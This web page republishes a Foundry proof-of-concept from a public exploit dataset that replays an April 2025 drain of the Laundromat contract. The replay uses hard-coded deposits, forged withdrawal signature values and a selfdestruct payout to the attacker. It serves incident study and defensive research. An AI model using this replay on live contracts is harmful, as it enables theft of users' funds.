Public reproduction file

src/test/2025-04/Laundromat_exp.sol

Public reproduction file for dataset entry Laundromat.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/Laundromat_exp.sol101 lines

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 1.5K USD
7// Attacker : https://etherscan.io/address/0xd6be07499d408454d090c96bd74a193f61f706f4
8// Attack Contract : https://etherscan.io/address/0x2e95cfc93ebb0a2aace603ed3474d451e4161578
9// Vulnerable Contract : https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x08ffb5f7ab6421720ab609b6ab0ff5622fba225ba351119c21ef92c78cb8302c
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1909814943290884596
17// Twitter Guy : https://x.com/TenArmorAlert/status/1909814943290884596
18// Hacking God : N/A
19 
20address constant Laundromat = 0x934cbbE5377358e6712b5f041D90313d935C501C;
21address constant addr1 = 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578;
22address constant attacker = 0xd6BE07499d408454D090c96bd74A193F61f706F4;
23 
24contract ContractTest is Test {
25    function setUp() public {
26        vm.createSelectFork("mainnet", 22222687-1);
27    }
28    
29    function testPoC() public {
30        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
31        vm.startPrank(attacker, attacker);
32        AttackerC attC = new AttackerC();
33        vm.stopPrank();
34        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
35    }
36}
37 
38// 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578
39contract AttackerC {
40    constructor() { 
41        if (address(this) == addr1) {
42            // deposit() x4
43            (bool s1,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
44                0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
45                0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
46            ));
47            require(s1);
48            (bool s2,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
49                0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
50                0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
51            ));
52            require(s2);
53            (bool s3,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
54                0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
55                0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
56            ));
57            require(s3);
58            (bool s4,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
59                0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
60                0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
61            ));
62            require(s4);
63 
64            // withdrawStart(signature[], x0, Ix, Iy)
65            uint256[] memory sig = new uint256[](5);
66            sig[0] = 0x33f79225929030e6369f0fbf5500142b8a4e10370e35f701a0e5c4d324f098d6;
67            sig[1] = 0x93708ff3b6dcb272664acb22881510360a04ca1a0a05a8dda37d06ddc62e5bf0;
68            sig[2] = 0xec91250cc040f420bdd11eb4b77cbf1d659ed043e88dbe49b392d44a85453e04;
69            sig[3] = 0xddaef0451b6c22a35bc641cd5f66aae904351f8adca3e588f0385d9d0bec542f;
70            sig[4] = 0x2652c96f86b22f421949daee41ffef503df3a06072e372de15105d0783bc2ba3;
71 
72            (bool s5,) = Laundromat.call(abi.encodeWithSelector(
73                ILaundromat.withdrawStart.selector,
74                sig,
75                0xa844d117805bbe3b276c37582fc1f960b5870ccd0d1016ec39a2b32a5bc780cf,
76                0x3184ac964636725c9c94d3767739fd89fc58da189ef8579409052b860e00b28f,
77                0xd7b3de3e1198ad3c53db7b873132bd16741f130d8fe73e801b281182cc3da487
78            ));
79            require(s5);
80 
81            // withdrawStep() x5
82            for (uint256 i = 0; i < 5; i++) {
83                (bool ss,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawStep.selector));
84                require(ss);
85            }
86 
87            // withdrawFinal()
88            (bool sf,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawFinal.selector));
89            require(sf);
90 
91            selfdestruct(payable(attacker));
92        }
93    } 
94}
95 
96interface ILaundromat {
97	function deposit(uint256, uint256) external;
98	function withdrawFinal() external returns (bool);
99	function withdrawStart(uint256[] calldata, uint256, uint256, uint256) external;
100	function withdrawStep() external; 
101}

Analysis

Dataset entry

Public Foundry test for “Laundromat” (2025-04-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xd6be07499d408454d090c96bd74a193f61f706f4
Attack Contract
0x2e95cfc93ebb0a2aace603ed3474d451e4161578
Vulnerable Contract
0x934cbbe5377358e6712b5f041d90313d935c501c

Attack Tx
0x08ffb5f7ab6421720ab609b6ab0ff5622fba225ba351119c21ef92c78cb8302c

File record

Name: Laundromat
Path: src/test/2025-04/Laundromat_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: a165416916847cd4e3eefb239fe0504e7a7f0d66
Language: Solidity
Size: 101 lines
Date: 2025-04-08
Licence: ThreatWire editorial text
Retrieved: 2026-10-19

Provenance

Path src/test/2025-04/Laundromat_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a165416916847cd4e3eefb239fe0504e7a7f0d66, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.